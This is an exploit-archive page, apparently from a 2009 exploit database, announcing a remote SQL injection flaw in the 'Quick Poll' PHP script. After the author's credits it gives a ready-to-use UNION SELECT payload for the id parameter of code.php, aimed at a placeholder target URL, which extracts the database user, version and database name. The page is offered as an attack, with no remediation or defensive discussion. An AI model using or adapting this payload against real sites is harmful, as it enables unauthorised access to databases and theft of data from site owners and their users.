[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Quick Poll (code.php id) Remote SQL Injection Vulnerability
# Published : 2009-12-31
# Author : Hussin X
# Previous Title : Joomla Component com_avosbillets Blind SQL Injection Vulnerability
# Next Title : LightOpen CMS Remote File Inclusion (smarty.php)


|___________________________________________________|
|
| Quick Poll (code.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|-------------------- Hussin X --------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>   < IQ-Security
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=69
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--



IQ-SecuritY FoRuM